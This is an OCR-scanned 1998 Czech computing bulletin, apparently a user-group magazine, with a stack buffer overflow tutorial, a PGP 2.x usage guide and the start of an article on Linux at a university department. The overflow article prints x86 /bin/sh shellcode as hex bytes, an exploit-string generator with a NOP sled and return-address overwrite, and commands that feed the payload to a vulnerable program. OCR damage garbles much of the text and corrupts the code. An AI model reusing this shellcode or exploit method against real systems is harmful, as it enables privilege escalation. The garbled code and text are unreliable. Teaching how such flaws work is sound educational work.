vacniho zaznamu je soucasti volaci posloupnosti (prologu)
podprogramu. Volaci posloupnost je rozdélena mezi volajici
a volany podprogram. Volajici ulozi do zasobniku parame-
try predavané podprogramu. Pak zavola pomoci instruk-
ce CALL volany podprogram. Navratova adresa je uloZena
na zasobnik. Volany podprogram na zasobnik ulozi ukaza-
tel na stary aktivaéni zaznam (BP), pak do ukazatele BP
ulozi vrchol zasobniku a nakonec vyhradi misto pro lokalni
proménné. Podprogram potom inicializuje lokalni promén-
né a zaéne provadét své télo.

Jeden typicky priklad
examplel.c.

Pomoci gcc vygenerujeme assemblerovy kod:

je na vypisu mBPiiklad

$ gcc -S -0 examplel.s examplel.c

Prislusny ké6d pro volani funkce f vypada nasledovné:

pushl $3
pushl $2
pushl $1
call f


http://www-miaif.ibp.fr/willy/security/
http://www.kernel.org/pub/linux/libs/security/linux-privs/
 http://www.phrack.com/52/P52-06
http://www.ggi-project.org/
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int f(int a, int b, int c)
{
char buffer([5];

char buffer2(10];

return atb;

}
void main(void)

£(1,2,3);

}

Vypis 7: Priklad examplel.c

Program ulozi tfi argumenty v poradi od posledniho
k prvnimu na zasobnik a pak zavola funkei f. Toto poradi
ukladani parametri na zasobnik umoznuje snadné volani
funkci s proménlivym poctem parametrd (funkce s vypust-
kou - int funkce(...)). Instrukce call f ulozi na za-
sobnik navratovou adresu (navrat je pak proveden instruk-
ci RET).

Volany podprogram pak provede prolog:

/* ulozi ukazatel na starj AZ do zdsobniku */
pushl Jebp

/% do BP ulozi ukazatel na novy AZ */

movl %esp,kebp

/* vyhrazeni mista pro lokdlni proménné */
subl $20,%esp

Ulozi registr ukazujici na stavajici aktivacéni zaznam
(ebp) a ulozi do néj novy ukazatel na pravé vytvareny za-
znam. Pak vytvori misto pro lokalni proménné. Piekladac
zarovnava proménné na délku slova (tzn. v nasem pripadé
4B). Takze bytovy buffer velikosti 5 byt ve skuteénosti
zabird 8 byt a buffer?2 zabird 12 bytu. Proto je nutno od
SP odecist 20.

Obsah zasobniku je znazornén na obrazku [mObsah za-
sobniku.

buffer2[10] buffer[5]

| ] |
B ——_

esp | ret

Obrazek 8: Obsah zasobniku

Po provedeni téla podprogramu je nutné obnovit stav,
ktery byl pred volanim podprogramu. Tento postup se na-
zyva navratova posloupnost (function epilog) a je opét roz-
délen mezi volany a volajici podprogram. Volany podpro-
gram odstrani ze zasobniku lokalni proménné a obnovi uka-
zatel na predchozi AZ. Potom pomoci instrukce RET vrati ii-
zeni volajicimu podprogramu. Volajici podprogram dokon-
¢i navratovou posloupnost tim, Ze odstrani ze zasobniku
parametry predavané podprogramu.

Navratova posloupnost volaného podprogramu:

/* odstranéni lokdlnich proménnjch ze zdsobniku */
movl %ebp,%esp

/* obnoveni ukazatele na AZ volajiciho podprogramu */
popl liebp
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/* névrat do volajiciho podprogramu */
ret

Navratova posloupnost volajiciho podprogramu:

/* odstranéni pfeddvanjch parametri ze zdsobniku ¥/
addl $12,%esp

Preteceni bufferu

Data se tedy do zasobniku vkladaji od vyssich adres k niz-
Sim. VétSina operaci se ovSem provadi od nizSich adres
k vy88im adresam. Typickym piikladem muze byt kopiro-
vani fetézed (viz vypis mMPiiklad example?2.c).

#include <string.h>
#include <stdio.h>

void f(char *str)

char buffer[96];
/* tady jsou néjaké instrukce */

strcpy (buffer,str);

/* tady mohou bjt n&jaké dalidi instrukce */

char retezec[512];

void main(void)

{
gets(retezec);
f(retezec);
}
$ gec -o example2 example2.c
$ ./example2
Opravdu velmi ..... sem dopliite min. 90 \
znaki .... dlouhj string
D
Segmentation fault (core dumped)
$

Vypis 9: Priklad example2.c

Zde programator udélal chybu, kdyz neoSettil stav, kdy
je do proménné buffer ulozeno vice dat nez je jeji velikost.
To se mu ovSem Kruté vymsti. Protoze je proménnda buffer
uloZena na zasobniku, ktery roste od vySSich adres k niz-
Sim, jsou prepsany vSechny informace, které se nachazeji
nad proménnou buffer. NaneStésti zde lezi také navrato-
va adresa do volajiciho podprogramu. Pii pokusu o navrat
tedy s nejvétsi pravdépodobnosti dojde k poruseni ochra-
ny paméti a k nasilnému ukonceni procesu. Jak vypada za-
sobnik pied a po volani funkce strcpy() je na obrazku
7 asobnik.

Ale co s tim? Zatim to nevypada na néjakou moznost
zneuziti. Program se pokousSel provést k6d, kde zadny koéd
nebyl a tak interpretovat v podstaté ndhodny kéd nebo sahl
do oblasti, ke které nemél pristup. Ale co se stane v pripa-
dé, kdy na daném misté skuteéné néjaky programovy kéd
bude? Ko6d se jednodusSe provede.
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Pied volanim strepy():

buffer[0]

|||esp|ret|

Po volani strepy():
[o]o]x [a]v]a]4]

buffer[0]
_—

|d|1 | ouhy| stri |n|g|0|

Obrazek 10: Zasobnik

Nejjednodussi pripad

Zirejmé nejjednodussi je spusténi shellu. Na navratovou ad-
resu, kterou prepsal prili§ dlouhy retézec umistime volani
jadra execve pro spusténi shellu (/bin/sh). Jediné co mu-
sime védét je, jak takové volani vypada (viz vypis [ Piiklad
example3.c).

#include <unistd.h>
int main()
{

char *name[2];

name[0]="/bin/sh";
name [1]=NULL;

execve (name[0] ,name,NULL) ;

return 0;

Vypis 11: Priklad example3.c

$ gce -g -0 example3.c -o example3
Vystup z gdb vypada pro funkci main() nésledovneé:

(gdb) disas main
Dump of assembler code for function main:

0x8048140 <main>:  pushl Jebp
0x8048141 <main+1>: movl Jesp,’kebp
0x8048143 <maint3>: pushl §0x0
0x8048145 <maintb>: pushl $0x0

0x8048147 <main+7>:
0x804814c <main+12>:
0x8048151 <main+17>:
028048153 <main+19>:
0x8048155 <main+21>: popl Jebp
0x8048156 <main+22>: ret

End of assembler dump.

(gdb)

pushl $0x8058828
call 0x8048354 <execve>
xorl Jeax,’%eax
movl Jebp,%esp

Disassemblovany vystup z funkce execve():

0x8048354 <execve>:
0x8048355 <execvetl>:
0x8048357 <execve+3>:

pushl %ebp
movl Jesp,lebp
pushl %ebx

0x8048358 <execvetd>:
0x804835d <execvetd>:
0x8048360 <execve+12>:

movl $0xb,%eax
movl 0x8(}ebp),%ebx
movl Oxc(}ebp) ,%hecx
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0x8048363 <execvetl15>:
0x8048366 <execve+18>:
0x8048368 <execve+20>:
0x804836a <execve+22>:
0x804836¢ <execve+24>:
0x804836e <execve+26>:
0x8048370 <execve+28>:
0x8048371 <execve+29>:
0x8048376 <execve+34>:
0x8048377 <execve+3b>:
0x8048379 <execve+37>:
0x804837e <execve+d2>:
0x804837f <execve+d3>:
0x8048381 <execvet+db>:
0x8048382 <execvet+d6>:
0x8048383 <execve+4d7>:

movl
int
movl
testl

0x10(%ebp) , hedx

$0x80

Yeax, hedx

thedx, hedx

jnl  0x804837e <execvet42>
negl Jedx

pushl %edx

call 0x8050a44 <__normal_errno_location>
popl Yedx

movl edx, (Yieax)

movl $0xffffffff,%eax

popl Jebx

movl Jebp,lesp

popl Yebp

ret

nop

Nejdulezitéjsi ¢innosti knihovni funkce execve je volani
jadra vytvarejici novy proces. V Linuxu pro Intel se pro
volani jadra pouziva pieruseni int 80. Cislo funkce jadra se
predava v registru eax a pripadné parametry pak v dalsich
registrech. Cislo Oxb je pravé éislo funkce v jadie, ktera
prepiSe stavajici kéd novym kédem a spusti jej.

Nyni by stacilo pouzit tuto ¢ast kédu jako retézec, kte-
rym preteceme buffer v nize uvedeném programu. Jsou
zde ovem dva malé problémy. Retézec ,/bin/sh* se do vo-
lani execve () predava jako ukazatel na fetézec. Tento fe-
tézec je umistén v datovém segmentu. Protoze nemuzeme
poéitat s tim, Ze program, ktery se snazime napadnout bu-
de mit nékde v paméti retézec ,,/bin/sh* musime si ho dodat
sami. Druhy problém spoc¢iva v tom, ze kéd obsahuje nulo-
vé byty — chceme totiz pro pieteceni bufferu pouzit volani
strcpyO.

Reseni prvniho problému je nasledujici: fetézec ,,/bin/sh
umistime na konec naseho retézce s kédem. Nyni musime
ovSem zjistit adresu tohoto retézce. Pouzijeme k tomu sek-
venci relativniho skoku (jmp) a relativniho volani (call).
Instrukei jmp umistime na zacatek kédu. Instrukci call
na konec kodu, tésné pred retézec ,/bin/sh“. Instrukce jmp
provede relativni skok na instrukei call, ktera ulozi do za-
sobniku navratovou adresu a provede skok na instrukci tés-
né za jmp. Instrukce call uloZi na zasobnik adresu nasle-
dujici instrukce. Za call ovSem neni instrukce, ale retézec
,/bin/sh“. Timto ponékud komplikovanym zpusobem jsme
ziskali adresu retézce ,,/bin/sh*.

Druhy problém vyireSime pomoci instrukce xor
%eax,’%heax, tak dostaneme do registru eax nulu bez uve-
deni nulového bytu. Tak na vSechna mista, kde by méla
byt nula umistime nulu az v dobé béhu naseho kédu.
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#include <stdlib.h>

#define BUFFER_SIZE 96

#define AZ 12

#define NAS_BUFFER BUFFER_SIZE+AZ+1
#define NOP 0x90

/* Velikost bufferu, kterj se snazime pfetéct.
* Na zaCatku bude obsahovat instrukce nop a * na konci adresy zatatku programu
* AZ ... velikost aktivatniho zdznamu

x/
/%

* fetézec pouZitj pro spusténi programu /bin/sh
* podle chuti je moZno nahradit /bin/sh jinym programem
* se jménem o délce 7 znaki: napf. /bin/ps

x/

char shell[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56 \x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char *buff, *ptr;
unsigned long *addr, *addr_ptr;
int i,
void main(int arge, char *argv(])
{
if (arge<?) {
printf ("spatnj potet argumenti\n");
exit(1);
}

sscanf (argv([1],")p",4addr) ;

if (! (buff = malloc(NAS_BUFFER))){
printf ("Nedostatek pamgti ?77\n");
exit(1);

}

addr_ptr = (long *) buff ;

for(1=0; 1< (NAS_BUFFER) ;i+=4)
*(addr_ptr++) = addr;

/* par NOPU na zatdtek nemuZe ukodit ¥/
for(i=0;1<20;i++) *(buff+i) = NOP;

ptr=buff+20;
for (i=0;i<strlen(shell);i++) *ptr++=shell[i];

buff [NAS_BUFFER-1]="\0";

printf ("%s\n",buff);

Vypis 12: Piiklad example5.c
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void main()
{

_asm__("

jmp 0x1f # skok na instrukci call

popl  Jesi # adresa fetdzce /bin/sh

movl  Yesi,0x8(%iesi) # druhj parametr voldni execve na zdsobnik

xorl  Yeax,heax #

movb  Yeax,0x7(}esi) # ukonti Fetdzec /bin/sh nulou

movl  Jeax,Oxc(hesi) # tfeti parametr voldni execve na zésobnik

movb  $0xb,%al # syscall 11 -- execve

movl  Yesi,lebx # prvni parametr do Jebx

leal  0x8(%esi),lecx # druhy parametr do Jecx

leal  Oxc(lesi),ledx # tFeti parametr do Jedx

int $0x80 # volani jadra execve

xorl  Jebx,%ebx # probéhne pouze v ptipadg,

movl  Jebx,%eax # Ze volani execve selze, pak se volad

inc heax #

int $0x80 # exit(0)

call  -0x24 # ziskéni adresy fetdzce a ndvrat na zaCdtek

.string \"/bin/sh\"
n);
}

Vypis 13: Priklad example4.c

Z programu na vypisu mBPriklad example4.c pak zis-
kame retézec, ktery spolu s dalSimi ¢astmi pouzijeme pri
preteceni bufferu. Program, ktery tento retézec vytvori je
na vypisu @ Piiklad example5.c.

Timto zplusobem vygenerujeme fetézec, ktery bude
na zacéatku obsahovat nékolik instrukei NOP (pro jisto-
tu, nemusi tam byt), pak retézec, ktery spousti program
/bin/sh a nakonec adresu za¢atku retézce, kterou zadame
jako parametr (touto ¢asti prepiSeme névratovou adresu).
Nyni ovS§em musime zjistit, kde za¢ind proménnd buffer
na zasobniku. Asi nejjednodussi zpusob je upravit program
example?2.c, aby nam tuto adresu vytiskl (viz vypis [m[Pri-
klad example6.c).

Funkeénost programu ovéfime nasledovné:

$ gcc -o exampled exampleb.c

$ gcc -o example6 example6.c

$ ./example6

D

Zasobnik: Oxbffffabc

$ ./exampleb Oxbffffabc | ./examplef
$

A nyni na pavodnim programu:

$ ./example6

"D

Zasobnik: Oxbffffabc

$ ./exampleb Oxbffffabc | ./example2
$

Pokud jsme postupovali spravné, tak se speciidlnim
vstupem dosdhneme spusténi jiného programu (pokud to
neni zrejmé, zkuste nahradit retézec ,/bin/sh® retézcem
,/bin/ps*). Predstavte si takovou chybu naptiklad v pro-
gramu finger (dfive byl spoustén pod uzivatelem root).
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Zneuziti?

MozZnost zneuziti takovéto programatorské chyby obvykle
zavisi na charakteristice daného programu. O zneuziti se da
hovofit zejména v piipadé programu s propujé¢enim identi-
fikace vlastnika (suid) nebo aplikaci spusténych s opravné-
nim nékoho jiného a ¢touci data od uzivatele (napft. sitové
démony). Asi nejznaméjsi pripad takového druhu zneuzi-
ti byl tzv. Morristv internetovy cerv zneuzivajici mimo jiné
preteéeni bufferu pii éteni dat v démonu finger (1).

#include <string.h>
#include <stdio.h>

void f(char *str)
{
char buffer[96];
fprintf (stderr,"Zasobnik: Jp\n",buffer);
strcpy(buffer,str);

char retezec[512];

void main(void)

{
gets(retezec);
f(retezec);

}

Vypis 14: Priklad example6.c

Obrana?

Spravné programovaci techniky :-). Zaména funkei typu
strcpy () za funkce strncpy (), gets() za fgets() a pod.
Dalsimi moznostmi jsou zejména specialné upravené pre-
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kladace nebo primo patch do jadra. O tom mozné nékdy
priste...

Pouzita literatura: [(D)] [(2)] ]

1 Smith, Nathan P: Stack Smashing Vulnerabilities in
the UNIX Operating System
http://millcomm.com/ nate/machines/security/stack-smashing/
2 Aleph One: Smashing The Stack For Fun And Profit
Phrack 49

Pretty Good Privacy

Petr Kolaf, 10.biezna 1998

Prestoze Internet byl vytvoren na zakazku amerického
ministerstva obrany, pattilo zabezpecéeni prepravovanych
souboru, zprav a hesel proti zneuziti cizimi osobami k dosti
opomijenym otdzkam. Pomoci Kklasickych protokold, jako
jsou telnet, FTE SMTE POE HTTP a dalsi, jsou informace
véetné hesel prepravovany vétsinou nezagifrované a s vel-
mi omezenymi moznostmi, jak ovérit jejich pravost. Prii-
tom odposlouchavani provozu v sitich je principialné mozné
a o tom, nakolik je vyuzivano, koluji désivé famy. O mnoho
lepsi neni ani zabezpeéeni soubord uloZzenych v poéitaéich
— i kdyz viceuzivatelské systémy poskytuji ochranu soubo-
rd, ve vétsiné systému veéetné témér vSech odrid UNIXu
ma spravce pocitace neomezeny pristup ke vSemu.

Se stéale Sirsim pouzivanim siti a s komercializaci Inter-
netu zacalo byt zabezpeceni prenasenych i uloZzenych dat
nezbytnosti. Stédle vice pocitact je piipojeno k Internetu,
ktery je pouzivan k osobni i firemni korespondenci jako do-
plnék ¢i nahrada telefonu a faxu. Po siti se prenaseji i tak
citliva data jako prikazy k platbam, ¢isla u¢td a kreditnich
karet.

V roce 1991 byl v USA navrzen zakon, podle kterého
mohou byt vyrabéna pouze takova Sifrovaci zarizeni, ktera
umozni vladé USA (pri splnéni podminek danych dal§imi
zakony) desifrovani zprav. Zaroven byla zahdjena vyroba ¢i-
pu Clipper, ve kterych jsou zabudovany ,tajné dveie, které
toto desSifrovani umoznuji. Kazda zprava zasSifrovana (jinak
udajné velmi kvalitni Sifrou) ¢ipem Clipper totiz obsahuje
pouzity Kli¢. Tento Kli¢ je (samoziejmé) zaSifrovan klicem
daného ¢ipu, ktery je ulozen rozdéleny na dvé ¢asti u dvou
nezavislych organizaci. Vlada USA muze na zdkladé soud-
niho rozhodnuti ziskat komponenty Klice konkrétniho ¢i-
pu a s jejich pomoci desifrovat v§echny zpravy zasifrované
timto éipem. Navrh zakona vyvolal obrovskou kampan pro-
ti zasahovani statu do soukromi jednotlivce vedenou pod
heslem ,,jestlize se soukromi postavi mimo zakon, pak pou-
ze ti, co stoji mimo zakon, budou mit soukromi“. Jednim
7 produkti této kampané bylo vytvoreni programu PGP
(Pretty Good Privacy, v prekladu néco jako , dost slusné
soukromi), ktery zpristupnuje silné Sifrovani a autentizaci
informaci kazdému.

Klasické Sifrovani a Sifrovani s verejnym klicem

,Bezpectnost“ nejstarsich ,Sifer“ byla zaloZzena na tom, Ze
algoritmus Sifrovani i deSifrovani byl udrzovan v tajnosti.
,Sifrovani“ éasto spoc¢ivalo pouze ve zvla§tnim zptisobu za-
pisu jednotlivych znaku €i slov zpravy, proto se nejednalo
o Sifrovani v pravém slova smyslu, ale o pouhé kédovani.
O skuteéném Sifrovani lze mluvit az u postupd, u nichz
zaSifrovany vystup zavisi nejen na obsahu vstupniho soubo-
ru (nazyvaného otevreny text), ale také na parametru na-
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zyvaném kli¢. Pokud se pro Sifrovani i desifrovani pouziva
stejny Kkli¢, musi byt udrzovan v tajnosti a proto mluvime
o Sifrovdni s tajnym klicem nebo o symetrickém kryptosys-
tému. Nevyhodou tohoto systému je fakt, ze tajny kli¢ musi
mit odesilatel i piijemce zpravy.

Diky tomu, Ze Sifrovany vystup zavisi na tajném kli¢i, mo-
hou byt algoritmy Sifrovani a desifrovani zvefejnény. Jejich
trvalé utajovani je prakticky nemozné a pokud jsou sku-
teéné kvalitni, jejich znalost pri deSifrovani zprav (pokud
se nepodarilo ziskat Kli¢ nebo pokud neni proveditelné vy-
zkousSet vSechny mozné kli¢e) prili§ nepomuiize. Pokud né-
které firmy presvédcéuji zakazniky o tom, Ze jejich Sifra je
bezpecénd, protoze je tajna (nékdy je tento pristup nazyvan
,,security by obscurity*), byva to ¢asto zpusobeno tim, ze
Sifra je ve skutec¢nosti velmi slaba a proto musi byt tajna.
Kvalitni Sifra je takova, ktera je del$i dobu znama, pouzi-
vand, a presto odolava pokusim o lusténi a zlomeni.

Problémy s nutnosti udrzovat kli¢ v tajnosti a zaroven
zajistit, aby byl k dispozici odesilateli i prijemci zprav, od-
stranuji asymetrické kryptosystémy, které pouzivaji pro Sif-
rovani a deSifrovani dvojici riznych kli¢t. Existence téchto
metod je zaloZena na algoritmech, které na zakladé jedno-
ho nebo vice ndhodnych vstupnich parametrd, jez se po vy-
poctu zapomenou, spocitaji dvojici kli¢d. OvSem i pii zna-
losti algoritmu a jednoho z Kli¢u je zjisténi druhého kliGe
daleko mimo moznosti sou¢asné vypocéetni techniky.

Kazdy z uzivatell asymetrického kryptosystému tak ma
dvojici Kli¢l, z nichz jeden (soukromy kli¢) udrzuje v taj-
nosti a druhy zveiejni. Proto se tento zplsob Sifrovani také
nazyva Sifrovdni s verejnym kliéem. Diky tomu, Ze je moz-
né Sifrovat libovolnym Kklicem z dvojice a deSifrovat druhym,
existuji dva zplisoby pouziti:

e Zpravu zaSifrovat pouzitim ciziho verejného Klice. Tim
se zajisti utajeni zpravy, protoZe ji muize deSifrovat
pouze vlastnik prisluSného soukromého Klice.

Zpravu Sifrovat pouzitim vlastniho soukromého Klice.
Tim se utajeni nezajisti, protoZe pro deSsifrovani zpra-
vy se pouziva Kli¢, ktery je verejné pristupny. Dosahne
se vSak autentizace — zprava po deSifrovani urcitym
vefejnym klicem dava smysl pravé tehdy, kdyz ji zasif-
roval vlastnik odpovidajiciho soukromého kli¢e. Proto-
ze v tomto pripadé neni cilem utajeni zpravy, je moz-
né misto zasifrovani pripojit ke zpravé pouze (soukro-
mym klicem) zaSifrovany kontrolni soucet textu zpra-
vy, tak zvany digitdlni podpis. Kdokoli mize spocitat
kontrolni soucet zpravy a porovnat jej s desifrovanym
podpisem. Jestlize kontrolni soucet zavisi na obsahu
zpravy tak nepredvidatelnym zpusobem, Ze neni moz-
né zpravu upravit aniz by se souéet zmeénil, pak sou-
hlas kontrolnich sou¢td zarucuje, ze zpravu skute¢né
podepisoval ¢lovék, ktery vlastni prisluSny soukromy
Kli¢, a ze od té doby nebyla zprava zménéna.

S pouzitim asymetrického Kryptosystému lze pres ne-
zabezpeceny komunikaéni kanal provadét i dalsi zdanlive
nemozné veéci (viz CHIP 1995/08).

Program PGP

PGP je program pro Sifrovani a autentizaci textovych i bi-
narnich soubortd. Byl vytvoren Philipem Zimmermannem
v roce 1991. Autorovi vynesl PGP soudni fizeni a diky za-
kazu vyvozu bezpecnych Sifrovacich technologii z USA je
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nadéale vyvijen ve dvou kompatibilnich radéch, jedné pro
USA, druhé pro zbytek svéta. Stal se neoficialnim standar-
dem pro Sifrovani a autentizaci e-poStovnich a newsovych
zprav. Je k dispozici[(D)] ve zdrojovém i binarnim tvaru pro
vSechny bézné platformy — MS DOS, 0S/2, UNIXy, VMS,
Macintosh, Amiga, Atari ST.

Nejnovéjsi verzi na poc¢atku roku 1998 je PGP 5.5, ovSem
diky nevyjasnénym otazkam kompatibility, licenci, apod., je
zatim doporucovana verze 2.6.3i.

PGP §ifruje vlastni zpravu nebo soubor rychlou symetric-
kou §ifrou IDEA s nahodné vygenerovanym tajnym Kklicem.
Pouzity Kkli¢ je zasifrovan asymetrickou Sifrou RSA a ulo-
zen do vysledného souboru. Tim se ziskaji vyhody Sifrovani
s tajnym Kklicem prii rychlosti Sifrovani tajnym klicem. Pro
vytvareni digitalnich podpisi je pouzit algoritmus MD-5.

Uvodni nastaveni

Pokud nevyhovuje implicitni umisténi souboru s kli¢i, kon-
figuraéniho souboru config.txt a dalsi soubort v adre-
safi ~/.pgp, je tieba pied pouzitim PGP nastavit promén-
nou prostiredi PGPPATH na cestu k adresari, kde budou tyto
soubory.

Proménnou PGPPATH bude tfeba obvykle nastavit v ji-
nych systémech nez je UNIX, stejné jako proménnou TZ,
ktera musi obsahovat spravnou ¢asovou zénu (v Ceské re-
publice stac¢i hodnota —1 pro zimni a —2 pro letni ¢as).

zv o

Vytvoreni vlastni dvojice kli¢a

Pro praci s PGP je nutné nejdrive vygenerovat svoji vlastni
dvojici klic¢a:

pep kg

Program PGP se zeptd na pocet bitd klice (v souéas-
nosti je doporuc¢ovana délka 1024 bitl), vasi identifikaci —
jméno, prijmeni a néco, co zajisti jednoznacnost (nejlépe
e-mailova adresa — byva zvykem ji psat mezi <>; pokud ji
nemate, pak napriklad telefonni ¢islo), pak se zepta na hes-
lo (pass phrase), které zabranuje, aby cizi osoba, ktera se
dostane k vasemu pocitaci, mohla pouzivat vas soukromy
Kkli¢, a na zavér vas pozada o mackani Klaves a vygeneruje
dvojici kli¢u podle ¢asovych intervall, které uplynou mezi
stisky klaves a podle stisknutych Kklaves. Pristupové heslo
si musite pamatovat. Neexistuje zplisob, jak zapomenuté
pristupové heslo zjistit!

Soukromy Kkli¢ udrzujte v tajnosti, verejny v textové
formé (ziskané piikazem pgp -kxa) zverejnéte (ulozte
jej do souboru .plan, aby jej bylo mozné zjistit sluzbou
finger, umistéte jej na svou WWW stranku, umistéte jej
na server PGP Kkli¢d [(2)] nebo rozeslete jej svym part-
nerim e-postou, apod.).

Soukromé Klice jsou ulozeny v souboru
~.pgp/secring.pgp, vefejné v ~/.pgp/pubring. pgp.

Sifrovani souboru

Pro zasifrovani souboru musi byt pouzit verejny kli¢ osoby,
ktera bude soubor deSifrovat:

pgp -e soubor ID_adreséta
pgp -ea soubor ID_adresata
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Jako ID_adresata staci uvést libovolny podretézec iden-
tifikace adresata. Prvni prikaz vytvori binarni soubor a ulo-
Zi jej do souboru soubor.pgp, druhy vytvori textovy sou-
bor (ktery je mozné poslat napriklad e-postou) a ulozi jej
do souboru soubor.asc. Vystup v textovém tvaru muzete
také vyzadat uvedenim radku

armor=on

v souboru config.txt. Souéasti Sifrovani je i komprimace
— binarni soubor, ktery vznikne zaSifrovanim byva kratsi
nez pivodni soubor. Pokud se Sifruje textovy soubor, kte-
ry ma byt prenesen na systém, ktery pouziva odliSné znaky
pro konec radku, je tieba do voleb doplnit pismeno t. Pa-
rametrem -m pozadame, aby soubor nebyl pri pozdéjsim
desifrovani ukladan na disk, ale pouze zobrazovan; ticelem
volby je zabranit tomu, aby nezkuSeny piijemce zanechal
rozS§ifrovany soubor nékde na disku, nikoli aby zkuSeny uzi-
vatel nemohl zpravu ulozit do souboru.
Soubor je také mozné piikazem

pgp —¢ soubor

pouze zaSifrovat (pro ulozeni na disku) symetrickou Sifrou
IDEA.

Podepsani souboru

Prikazy

pgp -s soubor [ -u vd§_ID ]

pgp -st soubor [ -u vds_ID ]
pgp -sa soubor [ -u vé5_ID ]
pgp -sta soubor [ -u va3_ID ]

podepiSou soubor vasim soukromym Klicem. Je-li uvede-
na volba -a, bude vysledny soubor textovy se jménem
soubor.asc, jinak bude binarni se jménem soubor.pgp.
Parametr —u vas_ID se pouzije, mate-li vice soukromych
Kli¢h. Volba -t oznamuje, Ze vstupni soubor je textovy a ze
znaky konce fadkl maji byt konvertovany podle zvyklosti
prislusného systému. Pouze posledni z prikazi vyproduku-
je citelny soubor s podpisem.
Prikazy pro zaSifrovani a podepsani je mozné spojit:

pgp -es[t][a] soubor ID_adresdta [-u va3_ID]

Ve vsech predchozich pripadech je mozné pomoci para-
metru -o soubor stanovit jiné jméno vystupniho souboru
(neni-li jméno s piiponou, doplni se .pgp nebo .asc).

Desifrovani a ovéreni podpisu

K desifrovani, pripadné autentizaci souboru nebo doslé
zpravy slouzi jediny prikaz:

pgp zprava -o vystup

Program PGP sam rozpozna, jaké operace ma provést.
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Podepisovani binarnich souboru

PGP umoznuje podepisovat binarni soubory tak, ze soubor
zustane nezménén, a podpis se ulozi do zvlastniho souboru:

pgp -bs soubor
pgp -bsa soubor

V prvnim pripadé se ulozi binadrni podpis do souboru
soubor.sig, ve druhém textovy do souboru soubor.asc.
Autentizace souboru se provede takto:

pgp soubor.asc soubor
pgp soubor.pgp soubor

Prace s Klic¢i

Jako nutné zlo s sebou PGP prinasi potiebu prace s Kliéi.
Prikazy

pgp k
pgp -kv [ ID ]

vypisi po Ffadé napovédu pro praci s kli¢i a seznam kli¢d (je-
jichz identifikace obsahuje fetézec ID) obsazenych ve va-
Sem souboru vefejnych Kkli¢d. Pro vyménu kli¢d jsou potie-
ba prikazy, které umozni vypsani klice do souboru a nacteni
KliGe ze souboru. Vypsani zajisti jeden z piikazi

pgp ~kx ID soubor
pgp -kxa ID soubor

Prvni prikaz zkopiruje Kli¢ jehoz identifikator obsahuje
fetézec ID ze souboru vefejnych kli¢d a ulozi jej do binarni-
ho souboru soubor . pgp, druhy zkopiruje kli¢ do textového
souboru soubor . asc. Kli¢ samoziejmé v souboru vefejnych
Klich zustava.

Pridani kliéd do souboru vefejnych kliéa zajisti prikaz

pgp -ka soubor

Zadany soubor obsahujici jeden nebo vice verejnych Kli-
¢4, mize byt textovy i binarni.

V nesymetrickych kryptosystémech je sice mozné pre-
davat verejné Kklice po nezabezpeceném komunikaénim ka-
nalu, je v§ak nezbytné nutné zabranit zcizeni vaseho sou-
kromého Klice, ale také zaruéit pravost kli¢d! Pokud byste
chtéli komunikovat s osobou B a osoba C by vam poskyt-
la svuj Kli¢, ktery by vydavala za Kkli¢ osoby B, bude moci C
lustit vaSe zpravy pro B.

Protoze ne vzdy je mozné ziskat verejny Kkli¢ primo od
jeho majitele a o Kli¢i ziskaném ze sité nemizeme mit ni-
kdy stoprocentni jistotu, ze neni podvrzeny, PGP umoznu-
je vypsani ,,otisku klice* - Sestnactibytové hodnoty zapsané
v Sestnactkové soustavé, ktery je mozné pridat do podpisu
v e-posté, vytisknout na vizitku nebo ovérit telefonicky:

pgp ~kve ID

Kromé toho existuje mechanismus podepisovani Kkli¢d,
ktery umoznuje, aby kdokoli, kdo bezpecéné (tj. pokud moz-
no pri osobnim kontaktu) ziskal nééi kli¢, podepsal tento
kli¢ umistény ve svém souboru veiejnych Kkli¢l piikazem

pgp ~ks ID
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Pokud ziskate klice podepsané nékym, komu duvéiuje-
te, Ze podepisuje pouze ovéiené Kklice, muzZete tyto klice
povazovat za pravé.

Vypusténi Kklice se zadanym ID ze souboru verejnych
a pripadné i soukromych Kkli¢t provede prikaz:

pgp ~kr ID

Neprovadéjte tento prikaz na vlastni kli¢ (ulozeny v sou-
boru soukromych kli¢d), pokud jej chcete jesté nékdy po-
uzit!

Jestlize dojde k prozrazeni vaseho soukromého Klice, je
nutné prikazem

pgp -kd vas_ID

vygenerovat potvrzeni, ze Kli¢ se zadanym ID je neplatny.
Potvrzeni je treba rozeslat lidem, ktefi maji vas verejny Klic,
aby si jej pridali do svého souboru veiejnych kli¢ti pomoci
pgp —ka, a tim vas kli¢ zneplatnili.

Zakladni informace o PGP naleznete na adrese[(4)] W

1 Oficidlni distribuéni server pro mezinarodni
(neamerické) verze PGP
ftp://£tp.ifi.uio.no/pub/pgp/

2 WWW rozhrani pro hledani a pridavani verejnych
PGP Kkli¢t
http://wiwkeys.pgp.net

3 Cesky server sité PGP
http://waw.pgp.cz/pgpnet/

4 Zakladni informace o PGP
http://wiw.pgp.cz

Linux na katedie matematiky FEL CVUT
Petr Olsak, 11.biezna 1998

V tomto élanku popiSu nasazeni Linuxu pro server na-
§i katedry matematiky FEL CVUT. Mé zkusenosti s timto
reSenim jsou vesmeés pozitivni. Za¢nu ale poporadku.

V minulém roce jsem stal jako spravce sité
math.feld.cout.cc pred rozhodnutim, co Kkoupit, abych
dal novy zivot rychle starnouci technice. Méli jsme zde
starsi pristroje SPARC jesté se SUN OS 4.1.3 a dale uceb-
nu s ¢tyriosmsestkami na 30 MHz s péknymi 17 palcovymi
monitory. V jednotlivich kancelafich mych kolegl se pak
nachazeji PC¢éka typu ,kazdy pes jina ves“. Lokalni sit
jsme do té doby méli postavenu na exportu UNIXovych
diskl ze SUNTU, pficemz na PC¢kach bézeli klienti PC NFS.
Tento Kklient byl docela spolehlivy v DOSu, ale jakmile
chtéli nékteii mi kolegové ,upgradeovat® na Win95, klient
PC NFS zacal délat v tomto prostiedi potize.

Nejprve jsme zvazovali koupi nového SUNu. Prechod ze
SUN OS 4.x na Solaris 2.x by mé asi stal stejné usili, jako
prechod na Linux (napriklad spustitelné programy nejsou
binarné kompatibilni). Pritom s Linuxem jsem uz v uceb-
né dost davno zacal experimentovat. Délat nezavazné ex-
perimenty se Solarisem dost dobre neslo, protoze bych jej
